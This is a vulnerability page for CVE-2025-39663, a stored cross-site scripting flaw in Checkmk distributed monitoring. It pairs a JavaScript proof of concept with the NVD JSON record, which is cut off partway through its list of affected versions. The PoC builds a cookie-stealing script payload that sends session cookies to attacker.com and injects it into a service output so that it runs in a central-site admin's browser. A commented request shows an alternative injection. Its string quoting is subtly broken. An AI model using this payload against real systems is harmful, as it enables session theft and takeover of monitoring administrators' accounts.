CVE-2025-39663

// CVE-2025-39663 PoC - Checkmk Distributed Monitoring XSS // This PoC demonstrates how a compromised remote site can inject XSS payload // into service outputs that will be displayed on the central site // Step 1: Prepare malicious XSS payload const xssPayload = '<script>\n // Steal session cookies document.write(\'<img src=\\'' + window.location.origin + '/log?c=' + encodeURIComponent(document.cookie) + '\\' />\');\n // Alternative payload for credential theft\n fetch(\'https://attacker.com/exfil?data=\' + btoa(document.cookie));\n</script>'; // Step 2: Inject payload into service output on compromised remote site // This would typically be done through the Checkmk API or by modifying // the checkmk_agent configuration on the remote site const injectPayload = { site_id: 'compromised_remote_site', check_type: 'custom_check', service_description: 'Critical Service Status', output: 'OK - Service running normally' + xssPayload, performance_data: 'time=0.123' }; // Step 3: The payload will be synced to central site and stored // When admin views service details, XSS executes in their browser // Alternative: Direct API exploitation (if applicable) /* POST /check_mk/webapi.py HTTP/1.1 Host: central-site.example.com Content-Type: application/x-www-form-urlencoded action=push_status&site=compromised_remote& output=<script>alert('XSS')</script>& service_description=TestService */

{"cve": {"id": "CVE-2025-39663", "sourceIdentifier": "[email protected]", "published": "2025-10-30T11:15:32.400", "lastModified": "2025-12-03T20:06:16.960", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cross-Site Scripting (XSS) vulnerability in Checkmk's distributed monitoring allows a compromised remote site to inject malicious HTML code into service outputs in the central site. Affecting Checkmk before 2.4.0p14, 2.3.0p39, 2.2.0 and 2.1.0 (eol)."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.7, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-80"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.0.0", "versionEndExcluding": "2.3.0", "matchCriteriaId": "1D767AB0-24B0-4BDE-8B7F-90BD7A40E496"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.3.0:-:*:*:*:*:*:*", "matchCriteriaId": "83202950-840A-4CB7-AD96-CE62E84FABD8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.3.0:p1:*:*:*:*:*:*", "matchCriteriaId": "310A2FA2-633A-48FB-A5C2-9A9A922E72E2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.3.0:p10:*:*:*:*:*:*", "matchCriteriaId": "3C0F1DC8-D9DF-4A7A-80DC-618FAB091375"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.3.0:p11:*:*:*:*:*:*", "matchCriteriaId": "9B0A1E3E-1B5A-4346-95BC-DE6FF6EE14CA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.3.0:p12:*:*:*:*:*:*", "matchCriteriaId": "EB52B2A7-BDC1-4A4F-ABAF-69C1BA8E83C2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.3.0:p13:*:*:*:*:*:*", "matchCriteriaId": "9F89225F-6969-4D89-B889-9CB09972825B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.3.0:p14:*:*:*:*:*:*", "matchCriteriaId": "2A1B23EA-4571-4E4E-80BC-FD76FFD83FFB"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.3.0:p15:*:*:*:*:*:*", "matchCriteriaId": "625A6998-5DAE-4538-9760-20523CCE501F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.3.0:p16:*:*:*:*:*:*", "matchCriteriaId": "6EFD4461-2C37-418F-90AD-3A956B2D91C7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.3.0:p17:*:*:*:*:*:*", "matchCriteriaId": "88523633-844C-41FE-ADF1-74D6AA2BCE6C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.3.0:p18:*:*:*:*:*:*", "matchCriteriaId": "5DA03E01-06D1-4E18-9C7B-CB6E49E5954B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.3.0:p19:*:*:*:*:*:*", "matchCriteriaId": "91F171B6-7F9A-4B9B-B53D-277FE74124F9"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.3.0:p2:*:*:*:*:*:*", "matchCriteriaId": "7D1993E3-C4F9-4D78-BD02-A0B22D93BF1F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.3.0:p20:*:*:*:*:*:*", "matchC ... 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